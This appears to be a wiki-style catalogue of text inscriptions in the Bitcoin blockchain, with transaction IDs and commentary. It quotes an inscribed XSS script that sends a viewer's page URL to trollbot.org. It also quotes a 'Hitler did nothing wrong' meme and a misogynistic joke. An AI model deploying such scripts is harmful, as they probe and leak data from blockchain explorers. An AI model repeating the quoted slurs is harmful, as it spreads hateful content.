ffc73ef454d512f98a451960e05a0a036406ed1078a1bd7082fd4036cf0af067 66021www.coindesk.com/tech/2024/01/12/taproot-wizards-bitcoin-ordinals-project-that-raised-75m-to-sell-quantum-cats-collection/:
Taproot Wizards, Bitcoin Ordinals Project That Raised $7.5M, to Sell 'Quantum Cats' Collection"OMG if only the worlds wouldn't invest in such useless crap... it would probably be a better and more boring world.
Here are some exceptionally interesting text inscriptions that are not mentioned in other sections:
- Section "Genesis block message (2009-01-03)"
- tx 3a1c1cc760bffad4041cbfde56fbb5e29ea58fda416e9f4c4615becd65576fe7 (2013-04-10) has the broken Basic creature simulation mentioned at Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) section "A creature simulator in Basic" starting with:
10 REM The variables in life 20 ' life the lifespan of a creature 30 ' mates the number of mates a creature needs to breed - tx 61e26d407c17e8ee33a8b166c78f78c53cdcdc0078ae1f9405e6583cfb90eaf4, block 268081 (2013-11-05). This is a very interesting transaction, it contains inscriptions both on the input script and on the output script. On the input:
I should not run the washing machine while listening to WZBC. I managed to convince myself that the machine was slowly failing -- that a rythmic, squeaking noise it had been making had gotten a little worse. Ten minutes later, though, the machine had paused. But the noise was still there.
On the output:Feels like a Koan. I wish I knew who inscribed this.> Skynet went online on August 4th 1997, and began to learn at a geometric rate. > It became self-aware on August 29th 1997 2:14 am Eastern Time. On August 29th > 1997 2:15 am it discovered nihilism, and either shut itself down due to > despair, or because it was logical. We're not sure which. On August 4th, 1998, it failed to renew its domain name, which was promptly squatted on by a link farmer pitching X10 cameras and singing electric fish. - tx 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af, block 305806 (2014-06-14) contains a blockchain explorer XSS detector that reports its location back to: www.trollbot.org/xss-blockchain-detector.php
Soon afterwards at tx a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 block 305809 there is a different version with slightly different escaping:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>Also of interest, the output script of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af is non standard and a provably unspendable Bitcoin output script. a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 however, although also non-standard, was spendable and was spent, further analysis at: Section "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af (2014-06-14, XSS detection)".<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href=' + location.href + '\'>');</script> - tx 713a6832365a68f71c6aee879f79b70e6e738cd6255f09bc41f204c81575c248 (2014-09-28) via cryptograffiti.info has the eleven rules of LaVevan Stanism starting with:
1. Do not give opinions or advice unless you are asked.
- tx 604f17dfdb5a88fc072bd2bcf53436087c899051241e519af7241dc0037d3df6 (2014-12-01) has a cover letter for a job at Hive Blockchain Technologies Ltd:
Dear hive team, ever since I have discovered Bitcoin I have been a fan of your products. [...]. Sincerely, Tim Daubenschuetz
At news.ycombinator.com/item?id=26826334 the supposed author mentions they didn't reply... sad. He did get to work for another Blockchain company though: www.ascribe.io, which eventually died. Presumably github.com/TimDaub. - tx 213e8f46f98e96f4f4d8b45bd3a1cbada14213796c200220e1e8c2b315988faa (2015-03-25)
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
contains a full-text copy of: cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse (2015-03-27), includinga link to it. Two other copies appear in future transactions tx c863aa9d6aa9345e4abdc216b6f035c4276b4423a924bb2e1593c22c670cba6f and tx ba58caf1a27ab7ca627cc3efa5914e4d37e00b3a7e9cf29508d451dc3da00bf7 - tx 3405f441f0d3acd8580d261d58e5a14d7638d0ee29200e673f496198d231edd7, block 364852 (2015-07-11) and a nearby transaction on the same block 1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a via cryptograffiti.info contains a possibly novel long short story entitled:
The first paragraph is:
How to Play Chinese Hats - A Short Story - 2015Somehow, you find yourself in a dim and smoky room with no entrance, exit or windows, without knowing how you got there or even where you've come from. In front of you are a group of Chinese gentlemen shuffling around what looks to be traditional black Chinese hats styled after the Ming dynasty, on a circular chestnut wood table. Surprisingly, you find the same type of hat in your very own hand when you look down.
At the end we see a signature and a tipjar:He did receive one tipin 2015 for 0.02590000 BTC: www.blockchain.com/explorer/addresses/BTC/1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGVRen @ 1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGV
1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a
- tx 0b63ebfadcb7bb66bc2a4bc7b826587505eab0450ca64c376ac9912a00d35c54, block 371796 (2015-08-27) via cryptograffiti.info has a large text entitled with what seems to be a storm forecast:
TROPICAL STORM ERIKA INTERMEDIATE ADVISORY NUMBER 11A
A Wikipedia page about the August 2015 event: en.wikipedia.org/wiki/Tropical_Storm_ErikaTropical Storm Erika was one of the deadliest and most destructive natural disasters in Dominica since Hurricane David in 1979.
The storm was formed "August 24, 2015", so this inscription was contemporary. Good friend, warning his fellow Bitcoiners. - tx 4dd57f3e443ad1567a37beab8f6b31d8cb1328a26bac09e50ba96048ad07b8c1 (2015-09-03) via cryptograffiti.info contains a long porn comededy text in an Italian-like languge starting with:
E il cazzo non entr
which translates to:And the dick doesn't fit
. By dumping the transaction data, we actually see that the beginning was slightly missed due to a character encoding issue, the text actually starts with:BANG!
followed by some non ASCII characters that we haven't yet been able to decode. It is not ISO_8859-1.Ciro Santilli first thought it might beto be a dialect of Italian, or possibly Sicilian language given the presence of "sv" in the text, but an Italian friend says it is just Italian with several words cut in half, possibly for comedic effect. No pre-existing hits found on the web. - tx 24e137d5b478d9a8b947e4f3f6130a86f2e0f6a2dda1cac1373b485c577f8ba7 (2015-12-03) contains a tale of an Electrical Engineer vs a Software developer tale.
Once upon a time, in a kingdom not far from here
Possible original: www.cs.brandeis.edu/~hornby/amuse/vs_toast.txt - tx e2c20c2977589240ad9486672a0273d340ed5f8b50a50071716d12035d7212e8 (2016-01-31) has a large Lorem ipsum
- tx 5f62490ca4736da30da35ebc3f86156dbdb529dcb2f77cb8b0eb84868d567b00 (2016-05-05) via cryptograffiti.info contains a poem entitled:
Voor mijn jongere broeder
whichi is Dutch for;For my younger brother
No Google hits, so possibly novel. - tx 0809e7f31d074eefc0f1f02463a28b5238688aa73e6361c01cbc7b1848ac8d93 (2017-07-10) via cryptograffiti.info contains a white paper entitled:
Disincentivizing Double-Spending by Making it Unprofitable
by Erich Ertsu from Coingaming Group (July, 2017). He was previously the creator of cryptograffiti.info This is the startup: www.crunchbase.com/organization/coingaming, previously at coingaming.io but now moved toyolo.com. The paper does not seem to be reproduced anywhere on the clearweb, the blockchain was its primary location of publication. - tx e450166eba552202fb6984867f2b851e2399c5a0ae05026bf6b056176491ec5d (2017-03-11)
Here are some of the reasons why Tau is better than Pi as a universal constant for circles.
- tx 0f25e23b7b59fde67d8b2d41b749e4f89fd1ff8061aa0ddac8c27c8230167e35 (2017-08-18):
A Crosschain transaction was sent in to your address in error. The transaction was 9174f24946496823e4edaf3fe1676a404164178d1c848fa476113bbe2f5b9463 . Please return to 1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV. Thank you in advance."
Epic. The transaction sent:1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV never received anything back so far.- 0.23225200 to 1BqyRKHoLEKgHGUoDiFUEZu5jPaWeuCWWt
- 5.6 BTC to 1JG8EVTx1zWzDyctAD5fFuMt59TWkSw2dW
The message is encoded as fake 12 P2PKH outputs, followed by an actual address, presumably the message target, but none of the addresses is one of the above targets of the transaction, so how did they know to associate the addreses? They must have extra hidden data? - tx 057954bb28527ff9c7701c6fd2b7f770163718ded09745da56cc95e7606afe99, block 666666 (2021-01-18):
Do not be overcome by evil, but overcome evil with good - Romans 12:21
As highlighted at www.reddit.com/r/Bitcoin/comments/vxletr/message_was_embedded_in_block_666666/ the block number is a reference to the number of the beast.
TODO:
- 55a5d0c09ad5535711d649fdab394add3bb6e50cc2c49920cf0cb758ff0b69e8 via cryptograffiti.info contains what seems to be a ASCII table tracking train movements? Maybe from a train lover? But also curiously, it is GPG signed:Interesting.
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 time direction # covered #uncovered notes 11/11/2013 6:31pm E 4 1 csx 6243 11/19/2013 4:46pm E 3 0 csx 6215 11/19/2013 5:44pm W 4 0 Amtrak 11/21/2013 4:05pm E 0 0 csx 620686c1b7bd8bbdd8903355a8f6a408616621fd2ea4321b9aced778f388afe0b244 has something similar. - cc38d740dc1999a803dbba0c48a82af994861e0767f6bcd7d6ceebe4e66b4678 via cryptograffiti.info contains a pipe dream technical proposal idea entitled:
Attack-resistant decentralized time and location services via Nakamoto chain consensus.
- 5d9ef37e6beea5342ce1cb2681a7b465a542394aeda2b1e1fed00fab44b17833 via cryptograffiti.info contains a test of every character from 0 to 255, e.g. some of the readable characters are:
d5f6614b4e3bdc611c8ad15f158163e48e1a1298ea5f5f9832ada8db6e2dd4b2 has something similar.
65: A 66: B 67: C 68: D 69: E 70: F 71: G 72: H 73: I 74: J 75: K 76: L 77: M - 0f96b2f6e3c4f4b6319efbafd2e7148d507b260b4d7914766e79aec7d9ac9574 via cryptograffiti.info has a long-ish message that looks like a software release note, not sure what it is about:
Truecrypt 7.1a ============== 2015-07-19 I am setting the filesizes and checksums of the last Truecrypt version (7.1a) in stone. - 206a0edb11ba0677248709d9bc5210b35e8a03710d9bb19c6f1e4e254bf21f5e via cryptograffiti.info has a letter to AGI:
Dear Artificial Intelligence,
While cute, the author clearly underestimates the magnitude of singularity! - cdbeb50c11b788fa4e67e00fb2e2607b129492a4a38bed0a9e31443a42e272a4 via cryptograffiti.info contains a semi-philosophical text that starts with:
When in the course of cosmic evolution,
- b55c3312ceeeb4ab422b658f5f4d5884775a498ddde6a527fca7b67752e1b044 via cryptograffiti.info contains some wedding vows starting with and GPG-signed:
Zachary Thomas Smith,I give myself - Jenna Marie Vaziri - to you, to be your wife, your best friend, and your home - just as you are to me.
- 3620da027df2e2e34ac9abe0123dcd7217fc5b8dec9921cbae258c640c7a6591 via cryptograffiti.info contains a neatly formatted UTF-8 ad with a link to: bitcointalk.org/index.php?topic=1033773.0The thread links to bcexchange.org/ which is dead as of 2024.
╭───────────────────────────────────────────────────────────────────────────╮ │ B&C EXCHANGE: A decentralized cryptocurrency exchange for everyone │ ┝━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┥ │ https://bitcointalk.org/index.php?topic=1033773.0 │ │ │ │ B&C Exchange will be an open-source decentralized exchange that completes │ │ cryptocurrency trades between users by utilizing multisig signers that │ │ compete for blockchain rewards based on their effectiveness and honesty. │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤ ┆ ▷▶▷▶ There are 10 days left in the auction! ◀◁◀◁ ┆ ╰───────────────────────────────────────────────────────────────────────────f93e128c59b357ca2d1b256eb1c4d991c488da460527ca0898dc789210073bd2 has another one:┏━━ UTF-8 is coming to CryptoGraffiti.info!!! ━━┓ ┠╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┨ ┃ I love you. Σ΄αγαπώ. ┃ ┃ Ma armastan sind. ┃ ┃ Aš tave myliu. Mä rakastan sua. ┃ ┃ Я люблю тебя. ┃ ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ - 140562ceb42fc8943fa52ccc0ddbb11ca2d88dae9b5240d7a4b46864538c515a
Reddit on the Bitcoin blockchain Test
TODO understand this part:The "Address" you see above is more than a bitcoin address? For example, the web address to this reddit thread is: https://www.reddit.com/r/Bitcoin/comments/3cdxep/reddit_on_the_blockchain_test/ Which converts to the bitcoin address of: 12uPLj6PSz6ULnZi1jXo7Ch1Je1SuqxRcE How? Because any text, like a web address, can be converted into a bitcoin address. www.reddit.com = 1MZCEUCtyJCDkNSLYbPVvAgf9V3CsEw3t www.google.com = 1JEZLaFciACHDEMVd3RXZzPmGcsWEwYQLr www.voat.com = 1JvCp9X5Bvvt2kz3EqP5ppkzX62sKgKbqr www.paystamper.com = 14wgeaWz2rKax8iVSWNFSrSsAYNeGyNdkt Duriel@paystamper.com = 1HcuhfTAiQCt6KdMG2rZLXsTcKYj9nLDhS - 940f41f5cc96182c1392c239d7570f94bd524e141ca0a88fdb154bd817049f83.bin via cryptograffiti.info contains some links to profiles controlled by a "Daniel Michael Abraham" www.linkedin.com/in/daniel-abraham-9432a798/. Other messages by him:
- 3d39024fa0cddfc529d4a41501df7a076f5bcf9a7a43f88f54a717e6df7f4770
- 088ebf7ffdef96b8fcac7eafa2ff6d04f295ea24f159e1ce4b7d47ed7b91b1f9
GitHub is for newbs.
- 50002f38a40aeca96f7d03ceac1c62fc233b44207af99df8f1daddf03f6ef61c via cryptograffiti.info contains a Python script that starts with:
#!/usr/bin/env python3 # # This file is placed in the public domain. # # CryptoGraffiti tool # # Requires python-bitcoinlib-v0.2.1 # # https://github.com/petertodd/python-bitcoinlib # # pip install python-bitcoinlib - 209c9106c7261582f5d0907819c6e10dea670c273133047d911be41f8a42d86f via cryptograffiti.info contains a Base64 encoded Python script starting in:
Some related ones:
#!/usr/bin/env python # brainwallet "base58" # v2015-05-18, fixed Tor DNS problem import binascii import hashlib- 25658f625c8f3964593b9e3c632040cb69aea9cf24403af33ab173d7cba7c42f
- 7d188bd499137b5a0d68271ef8a4f3c4dc2f2b38bd03dfc913cb2b0be15b1e0d
Coinbase message are messages that only miners can embed in the blockchain.
As such most of them tend to be boring ads for mining pools, but there are a few exceptions, especially in the early days.
The Horrible Horrendous Terrible Tremendous Mining Pool inscribed a few cute Coinbase messages during their operation in 2012-2013.
Many of their messages also mention
SockThing, which was part of their mining infrastructure: block 229417 (2013-04-03) has a cute sword ASCII art:
./SockThing/HHTT/o()xxxx[{::::::::::::::::::::::::::::::::::>Starting from their very first ASCII transaction on block 197602 (2012-09-07), there is what seems to be a poem spread across several transactions. Some of the lines are repeated, presumably because they didn't update the current line to a new line and so mined the same thing multiple times:
I am a pretty princessThe sentences are not very coherent together, perhaps this is because lines were chosen by different miners one at a time.
covered in mud and blood
water with stuff in it
like everything else that wiggles or jiggles
screaming might not be your waY
see no reason to operate otherwise since
came into the world naked, wet and screaming
but silence will never be mine
until I am dead
but the smell will also give that away
gather all my things
load them in a big boat
airlift that to Kansas
and light it on fire
drop it from 7,000 feet
then railgun my corpse straight down
Bitcoin addresses are by convention expressed in Base58, which is a human readable binary-to-text encoding invented by Bitcoin. It is a bit like Base64, but obsessed with eliminating characters that look like one another in popular but stupid fonts like capital "I" and lower case ell "l".
This seems to be one of the earliest strategies used to encode messages.
These messages were originally found with: github.com/cirosantilli/bitcoin-inscription-indexer#payload-size-out-utxo-2vals
The generated text is however rather obfuscated by the limitations of Base58.
The following transactions contain base58 encoded messages on addresses:
- tx 7961b5ae2f053a16d5c589104f87edfabe80fcae185832ea185e7f0cf06c7747 (2011-12-01) is a Lorem ipsum, 7961b5ae2f053a16d5c589104f87edfabe80fcae185832ea185e7f0cf06c7747 is another one:
11Lorem1psumDo1orSitAmetXXXWAEZ6C 11ConsecteturAdipiscingE1itYQHEPM ... - www.blockchain.com/btc/tx/751ff11286a43da5d6cf7da8f5bc736e522bbd698ec03c76c63368e5260667e6 seems to contain a bunch of names. It is very noisy, but feels too much coincidence not not be intentional
1JameLs3Q9enoB7VT3bDc3XYoziRDqW7o6 1NeLLAADSPYk4wvzCbiac362DdTWNqnWxV 1MaRinaQFfRbEDoz5FvDaJoST1PsqQQhL7 1DioNTe4eHexc74CPPCwJMGPHaDE8za4BM - www.blockchain.com/btc/tx/ace9524519577138ca98ec01651758fd1e5ec33ce0110c6681eccba0e716cc7a is also possible,
11Bitta1ktvchristmasspecia1WNDvAarepeats over an over, so something alongBitta Christmas Special - tx 8ffacbb18f63576fe323cbf2acc6c4c01c86aadf13d8352cfdd39d91916d98c8 (2011-12-05) advertises etchablock.com:so maybe this is the service used to for those base58 encodings. It is down as of 2021, and there are no decent archives unfortunately: web.archive.org/web/20130301000000*/http://etchablock.com/. Some online mentions:
EtchABLockDotComGivesYou BLockChain1mmortaLity- www.reddit.com/r/Bitcoin/comments/s9cra/comment/c4d5x9b/ suggests that the creator is a "Jonathan Ryan Owens". Some profiles:
- www.blockchain.com/btc/tx/028b8514a4f6cc96ac3c1c83dbb117ab9dc5eb09deab7b49bf038fd460173127
Source text: en.wikipedia.org/wiki/The_Aristocrats
11TheSetupTheJokeA1waysXXXXTF9Wzp 11BeginsWithAFami1yActGoingY3Q4qw 111nToSeeATa1entAgentThoseXZxb7hQ - www.blockchain.com/btc/tx/89010c791c9d7ed24affa1d638b12179d2ca7ec91704fe906834386f43a8101d
Source text: en.wikipedia.org/wiki/United_States_Declaration_of_Independence
11When1nTheCourseofHumanXXXXdfMdQ 11Events1tBecomesNecessaryXYC2rJ5 11ForonePeop1eToDisso1veTheXKXUiD - www.blockchain.com/btc/tx/c99179465b2d3b88fb6ede5d2e42015b15ec641e7a68f18216acaf741723de00
Possible source: en.wikipedia.org/wiki/C_data_types
11The1ntegerDataTypesCharXXZZwJAn 11ShortLongAnd1ntCanBeXXXXXVfzLKj 11EitherSignedorUnsignedXXXYMhhUY - www.blockchain.com/btc/tx/3bbd94d22346a3bfb44257293e10c3b5c9ee39230c1cd358bdce2bf03c61ba0b en.wikipedia.org/wiki/Emerald_Tablet
12TisTrueWithoutALie22222221wT3qjn 1CertainAndMostTrue2222222225YPnJF 12ThatWhich1sBe1ow1sAs222221y3G7mv 12ThatWhich1sAboveAnd2222221vxkcEq ... - www.blockchain.com/btc/tx/237b50dac42af130171773b233954e62690182fd4901a453ad5d11d1d54a8ca3 en.wikipedia.org/wiki/The_Glass_Menagerie
11TomAppearsAtTheTopofTheXXWyM2Bt 11A11eyAfterEachSo1emnBoomXaBp7oy 11ofTheBe111nTheTowerHeXXXXVQaies 11ShakesALitt1eNoisemakeroraeWTgK ... - www.blockchain.com/btc/tx/1f9606f267cc398356663b14d1a7a3591e3da06572893394c14975a6fc11798f en.wikipedia.org/wiki/Philosophiæ_Naturalis_Principia_Mathematica
11Ru1e1WeAreToAdmitNoMoreXXazQ96z 11CausesofNatura1ThingsThanZAQ9ig 11SuchAsAreBothTrueAndXXXXXZyzfQp 11SufficientToExp1ainTheirXVSC2gY - tx ef374dcc5b23f16ecb0b1b639ba577d2acda7ad32321b5866db2fa9e6807b9c5 (2011-12-01) contains the intruction from the bitgoin.org website: web.archive.org/web/20210129054851/https://bitcoin.org/en/
11Bitcoin1sADecentra1izedXXWPM6Hs 11PeertopeerNetworkoverXXXXUkyy3M 11WhichUsersMakeXXXXXXXXXXXX4tQgN 11TransactionsThatAreXXXXXXVdZfnJ
This website used to allow embedding text messages with OP_RETURN, here's an archive from 2015: web.archive.org/web/20150718052659/http://eternitywall.it/
As of January 2024, it seems to read-only mode, where it simply indexes matching transactions that were made via other means: web.archive.org/web/20230929075331/https://eternitywall.it/
A Reddit announcement from July 2015: www.reddit.com/r/Bitcoin/comments/3dxy9f/eternity_wall_messages_lasting_forever/
There were 3191 hits for the search term:
in our data starting with tx a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e (2015-06-24):
git grep '\bEW 'EW Eternity wall is liveup to the last entry on tx 28820bc14cf2cfda58ecbc9ac6df3f41a1cb90f4246543f01ba42a5e9dac3cf8 (2023-06-15)
EW May our friendship endure, signed by hg, kty, wjj, and xyz.no doubt initials of 4 Chinesepeople. A blood brother oath comes to mind, akin to the Oath of the Peach Garden. Will these four be the ones to take down the evil dictator Xi Jinping?
The very first message gives away the name of what we assume is a web-based upload system, "EW" being its advertisement signature added to every message.
Running
shows that the messages are encoded with OP_RETURN:
bitcoin-cli:
bitcoin-core.cli getrawtransaction a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e true "vout": [
{
"value": 0.00000000,
"n": 0,
"scriptPubKey": {
"asm": "OP_RETURN 455720457465726e6974792077616c6c206973206c697665Starting tx 2f201c8518c7b012c03c2c82e40e86f6aaf616ea5fbe22570aac9d2c6611cb68 (2023-03-11), the chain is flooded with ASCII transactions containing many repeated double quotes
" and digits 3, with some other characters interspersed in them without any clear pattern e.g. the first one:
""""""""""""""""""""""""""""""""jk""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""'}""""""""""""""""""""""""""""""""/D""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""q1""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""XK""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""TODO what is up with that?
In that first trasaction the quotes appear as part of a Multisig output script.
Transactions such as tx fe37c7eee73be5fda91068dbe0eb74a68495a3fc7185712b8417032db7fc9c5e (2015-01-15) starting with
are Base64 encoded. Running them through
we might as well give up. That string appears 26 times in our data currently, between 6c091e6152b83ec0df8d0d87c7c5f3da72a3328ed3a5d91768ba0ab899c16b9d (2014-09-28) and 84189c82995db355e92e37f8cfe8a9274e9a5d157f1f1658067672e707469a09 (2019-07-06)
U2FsdGVkX1/4iSjLxQ5epo8eRSCOQLGgAsn1CucGii27k8ZyC7Jz6wxhYcevVmxi
6Q4ZFN04WDN0UhKqYardgQf26oeBMURupduDd0ZozxlgMrBkFOCaARqU7RABVWDO
/ruPUcOY0VC8p4lrMNqSdqvN7y6OWwOSH3c0duumZfFNZs9+BbtKCxtaqR5+RkUIbase64 -d leads to starting output bytes Salted__ which as mentioned at security.stackexchange.com/questions/124312/decrypting-binary-code-from-a-base64-string is OpenSSL encrypted data. So hwerever we see the start:
U2FsdGVkX1/The following via cryptograffiti.info get marked by
file as "openssl enc'd data with salted password, Base64 encoded":- ad3d8a0a5d57114b1780341cb5104284f029bb01b1b3558f7c7b9ce51eb67e18
- 1cd0c631f444d664601468f644b70e0166019a54d8678de51310139b6c8b2bd7
- ccc3fb2c9cb1c640b76645a8658693066fd63433ab17c318691ad5bd62601c0e
- e6eb0cb8268a9b3d012d2957b32d4b28ccc3317593f54f4bfe4b387326588bd2
- c40e322b198b715accc4a67fad244ed131b8cef0785070e06d10d56c4ab389f2
- 37a261ac6dbf59e3c9673a22028bcdbdd08926a9d32134ab8fba0897f6dcd196
- f1aa516fe00ec2156f16fcb9da422f6cbcd141e8e58c895d8bc37b4ad2fd714e
- 7faf29c7dd7d9cc6d099c262f7ec7edd7fc768276482ad66ceefdd814f1d38ab
- 69cac244051661cc0b8b08905af5ab312a1282b68c932e5d1e3c46ad47ff0f7a
- 1773c39f844951b7169dc34aa0c72aa7b43cae6a103ed1223527ef0f4deec2a9
- b1d4bf3fc46e63c995ad4299f3576340077bc810dfa5c502d1c068460d54bc98
- a52625837741902e1dd24de3dbd3b948d6e0907ad3fc957c13cdf53fa2c3b9ac
- 4ca742813eaccef009e24e92150dda06540c2ac81782f1569b1ebb3179a413d2
- 6c3bab5fc6e6352c62a16ab0f47394845aa41a2c0b25e1a1073a4aeac150e03d
- 20b8feef3d293a0dd79e3c169fceb1217465502a523acbab903a7eb0cd183709
- b7863215b99567bc9e71155b13f3c5f26d15eac52493ee2e834129460ffd2aec
- 2c8961a64bb11d5855790085f51007273467f7ef862137215c9f1d958dcb6c57
- bed542957bdd8f644a4fcd671a8c66a5cc5d6168f9fa60d37177703e77558eee
- 3e45af9d828754d5a38c86636a070610f6e828482718c4a597d272d41a3e31fa
- a13af4817e85cacce3cfb445001e2fb2f56cdc30f78348fd2580bf8f4c84dc55
- 87a10f6bc65a08067b2544e46be00d4af62c0cfed3ae0b165d5eedaff09d81da
- ef55826befabbe9dcd44d87fc385d600dd4c4cba3346cde53d8c591960e9b4dc
- 5d30f63131dcf2b4d001b4ab530e18cc6ff8ffd16cade055ff4587a59b84e420
- 8a75514829b6e30b9fea434eef77b1589ff3f4bdfc0056bd087efbfb8314eb59
- e2be1062c9d43cc6ed43de6f7a40c728d2d92ed0325abde24ff3300cf3ae136a
- 8fe5c2679237e36c74fda04bb083f732c4afdd06af81121b1d7b4d5bd677135f
- 7f099f094d8d51105d8655253d45ebddf1c88b9e138c302a65d2878a237e620c
- 0fc4b3a305e2a7faa2e7d9c2f23d23d626e9e75f1f2a37133f283334b314645b
- 933b321e7b7144ed5e4e1750f944be9ed10293633d9b288bf05febdeb9dc40a3
- 6215486bc024dea7991b142e50e111c4063e1db4a867514612b8e794b8ef5635
- fc0613e11269962d97373b10e310f451fb76c7bb477ba1afb45773c44851e9ed
- ab51d2c037b4625394c68706da83c26bad751018d2a3e377a51988bd8ee18647
- 7ca9b337172f4feff67a0ecbfbd76798265e08c6ebe989a319883c695d756247
- 0f0b477e456dcf286d7262497bcd5b3b6a3ce89f81761c2f59ff702539ab6183
- a320152fd59426c8853dd781db9d682f89755953b39a653f9e9c9628a5fce7fb
- e96221da774fb52d24dda1b83b14c99085eb4befac64691722c56eb750562d68
- a7a5ca68dd340dd42bd5c91e0febe68e5fd2fb993da2992661183eaafe8ad89e
- 64e9d95e2333cfd155506199c8d926649e63a98dbc83c1221b8dd1580937b942
blockchain.news/news/mysterious-bitcoin-inscriptions-a-puzzle-in-raw-binary-data mentions a huge 9 MB Ordinal ruleset inscription that no-one managed to decode, and so people suspect is encrypted data. Seems to be split across transactions, starting at fed7de7fb75a3fe3c1acbbd8e19a4c540fb368474c8834e4ddb1d5bab764a767
In this section we document events that led to a large number of thematically related messages being added to the chain., e.g. referencing some current event that happened, as opposed to the media encoding/type like images and text sections.
"Hitler did nothing wrong" meme [ref] is repeated several times, e.g.: tx 41967a7d75e9e1ca8c142a45ce29ea08b451a3b55c3e33538f5cc8a389ec66ab (2015-07-20):
EW Hitler did nothing wrong.This one is also an Eternity Wall message.
Brazil:
- tx 1c05bb7c0a8c9498d33a1e6d4a91bbb4c651daa5ea5a21aa5c8c600d3300b8bb Viva Brazil's Impeachment!
- tx 105fb3a0be8ab50bfa36012e0319a752dee39702cb44f3904cf423eb20367d57 contains a misogenous joke:
A mulher feia so tem uma coisa a oferecer,uma boa foda(Diego Silva de Oliveira)
which translates to:Ugly women only have one thing to offer, a good fuck
It is attributed to Diego Silva de Oliveira, possibly this football player: en.wikipedia.org/wiki/Diego_Silva_(footballer,_born_1990) - c72dc315a5504362d01f2dcdfe77826d14a9eb3411b83edd7aa782e95e4a7794 via cryptograffiti.info:
NÓS DISSEMOS SIM AGÊNCIA TRANSITIVA 2015 Nota pública de reconhecimento do Acordo Reconformado, assinado pela Agência Transitiva e pela Escola de Artes Visuais do Parque Lage, em 22 de Abril de 2015. #ENCRUZILHADA EAV PARQUE LAGE 22.04.2015 - 1c05bb7c0a8c9498d33a1e6d4a91bbb4c651daa5ea5a21aa5c8c600d3300b8bb via cryptograffiti.info:
Viva Brazil's Impeachment!
Our indexer does not handle UTF-8, here's a collection of some UTF-8 messages we've stumbled upon somewhat randomly:
Arabic:
- 7eb561f2139761064de20033fa4843f1f3e1a9551268704b36f84d94e66fd91a
يا سلم!
شعرك جميل
و عينيك حلوة
انا عطشان
اِروني من عينيكO peace!
Your hair is beautiful
And your eyes are beautiful
I'm thirsty
Show me from your eyes - b7376cae03b88392e5fd0292bcb43105386fbb534fc9be68c1e3d0b8f39e5ba4 via cryptograffiti.info
sjalom, salaam, peace!
الدين - 7a898b7e6b2145f4f887e1ff890d0b613e3008fbe350aa92662735e3acd0c0bc
هذه رسالة من المستقبل
إلى الماضي ...
الحياة صعبة في المستقبل
رعاية العالم
وتحمل المسؤولية
/yThis is a message from the future
To the past...
Life is difficult in the future
Caring for the world
And take responsibility
/y
Russian:
- 1dcd62c922eb1ddbc1f58615b6271d64736bf55e83408cef02a7d0ac6707e423 via cryptograffiti.info
А на Земле Быть Добру!
And on Earth To Be Good!
- 596cc6e905a5fc8248cf59198a19ce5070228b302a9f3a993197e2c87ddcaf14 via cryptograffiti.info
Книга Вечно Живущих открыта
The Book of the Ever-Living is open
- 596cc6e905a5fc8248cf59198a19ce5070228b302a9f3a993197e2c87ddcaf14 via cryptograffiti.info
Это тест, сука блять.
This is a test, motherfucker.
- ed56ef68ccbfb1d47bc159fb62fab6807ee4d7363d0ad4cded2e922a5b47362e via cryptograffiti.info
Путин хуйло лалалалалалалалалал
Putin sucks lalalalalalalalala
Chinese:
- 12b32b6752fbf521243c63dfb5e3fda46523dd7b572143635458f743591d3e35 via cryptograffiti.info:
中文測試
Chinese test
- a3dbd6cbb8637b6bf91d22ea97db2843d995498fd62740b9ed1e9dc068f2ad2d via cryptograffiti.info
R.I.P aaarobbie（書玄）
- Ordinal ruleset inscription
- tx 8e89ce6bef85aea795f41f97a4dcd550d8cbc6d1f606f37109f6dc8b31f91bc1: Diamond Sutra in Chinese. Again at tx 0bc660cc2c6d0ec4f7dfe61bfb3a592b4a65677b16da7db35729fd43eee5323e.
